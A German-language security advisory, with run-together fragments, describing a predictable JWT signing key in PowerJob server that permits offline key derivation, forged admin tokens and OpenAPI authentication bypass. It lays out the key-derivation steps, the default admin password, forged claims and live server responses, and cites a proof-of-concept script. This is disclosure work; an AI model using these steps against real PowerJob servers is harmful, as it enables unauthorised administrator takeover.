
Zeigt eine kritische Schwachstelle in der Vorhersagbarkeit des JWT-Signaturschlüssels im PowerJob-Server auf, die eine Offline-Schlüsselableitung und Token-Fälschung zur Übernahme des Administratorkontos sowie zur Umgehung der OpenAPI-Authentifizierung ermöglicht.
Der JWT-Signaturschlüssel (HS256) des PowerJob-Servers wird durch BASE64-Dekodierung einer fest codierten Konstante, verkettet mit dem MD5 der Standard-JDBC-URL abgeleitet (DefaultSecretProvider / JwtServiceImpl). Die JDBC-URL ist in der Standardbereitstellung öffentlich (docker-compose / application-daily.properties), sodass ein Angreifer den Schlüssel vollständig offline ableiten und ein gültiges JWT für jeden Benutzer (einschließlich Admin) fälschen kann; das OpenAPI-App-Token kann ebenfalls gefälscht werden, um die OpenAPI-Authentifizierung zu umgehen.
application-daily.properties legt im Klartext offenjdbc:mysql://powerjob-mysql:3306/powerjob-daily?...powerjob-server-auth/.../jwt/impl/DefaultSecretProvider.java:31-45: return md5(environment.getProperty("spring.datasource.core.jdbc-url"));powerjob-server-auth/.../jwt/impl/JwtServiceImpl.java:44-102: fest codierte Konstante BASE_SECURITY; genSecretKey(secret) = Decoders.BASE64.decode(BASE_SECURITY.concat(secret)) → Keys.hmacShaKeyForusername/encryptedToken) hat eine sekundäre Prüfung für PWJB-Konten (DigestUtils.rePassword(password, username)), aber:
appId/password/encryptType) kann direkt gefälscht werden, um die Authentifizierung zu umgehen (OpenApiSecurityServiceImpl:87-105);Umgebung: Lokaler PowerJob-Server (127.0.0.1:7700, JDBC-URL jdbc:mysql://127.0.0.1:3307/powerjob_daily?useUnicode=true&characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&allowMultiQueries=true). Der Angreifer leitet alles offline nur aus öffentlichen Informationen ab:
# ① encryptedToken ableiten (= rePassword(password, username)); mit dem Standardpasswort berechenbar
rePassword("powerjob_admin", "ADMIN")
= ADMIN_b82a450701f6a71723fb99931fe35e18_b # byte-für-byte gleich dem DB-Wert user_info.token_login_verify_info ✅
# ② HS256-Signaturschlüssel ableiten = BASE64(BASE_SECURITY + MD5(JDBC_URL))
secret = BASE_SECURITY + md5(jdbc_url) # 101-Byte-Schlüssel
# ③ ADMIN-Web-JWT fälschen (Claims: username=PWJB_ADMIN, encryptedToken=Ergebnis von ①, sub=PowerJob)
Tatsächliches Ergebnis (gefälschtes Token besteht die Authentifizierung):
[*] /namespace/list ohne Token :
{"success":false,"data":null,"message":"PowerJobAuthException: UserNotLoggedIn","code":"-100"}
[*] /namespace/list mit gefälschtem JWT :
{"success":true,"data":{"index":0,"pageSize":10,"totalPages":1,"totalItems":1,"data":[{"id":1,"code":"default_namespace","name":"default_namespace","dept":null,"tags":null,"extra":null,"status":1,"statusStr":"ENABLE","gmtCreate":"2026-08-07T13:07:32.000+00:00","gmtCreateStr":"2026-08-07 21:07:32","gmtModified":"2026-08-07T13:07:32.000+00:00","gmtModifiedStr":"2026-08-07 21:07:32","showName":"default_namespace(default_namespace)","token":"14e4ebff-9a79-4845-ac66-8b20c4dff2ee","componentUserRoleInfo":{"observer":[],"qa":[],"developer":[],"admin":[]},"creatorShowName":null,"modifierShowName":null}]},"message":null}
→ Das gefälschte Token authentifiziert sich als Admin und gibt echte Daten zurück (Basislinie wird mit UserNotLoggedIn abgelehnt).
Kernpunkte:
encryptedToken stimmt byte-für-byte mit dem in der DB gespeicherten Wert überein (ADMIN_b82a450701f6a71723fb99931fe35e18_b).BASE_SECURITY + MD5 der öffentlichen Standard-JDBC-URL bestimmt → offline ohne Anmeldedaten ableitbar.encryptedToken ist mit dem Standardpasswort offline neu berechenbar (powerjob_admin, Befund PJ-02) → vollständige Admin-Übernahme.encryptedToken-Abweichung blockiert, aber der OpenAPI-App-Token-Pfad (Claims appId/password/encryptType, OpenApiSecurityServiceImpl:87-105) kann weiterhin unabhängig gefälscht werden, um die OpenAPI-Authentifizierung zu umgehen.Selbst wenn das Standardpasswort geändert wird, bleibt die Schwachstelle über andere Angriffsvektoren bestehen:
encryptedToken eines beliebigen gültigen Benutzers auf anderem Wege erlangt (z. B. SQL-Injection, Offenlegung von Datenbanksicherungen, Log-Leck oder Informationsoffenlegung über andere Endpunkte), kann dieses Token mit dem vorhersehbaren Signaturschlüssel kombinieren, um ein JWT für genau diesen Benutzer zu fälschen.encryptedToken-Abweichung vollständig, da das gefälschte Token nun ein legitimes encryptedToken enthält, das aus dem tatsächlichen Datenbankeintrag abgeleitet wurde.PoC: powerjob_jwt_key.py 192.168.49.128:7700


encryptedToken-Prüfung für alle Konten durchsetzen.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 Kritisch (in Kombination mit dem Standardpasswort / OpenAPI)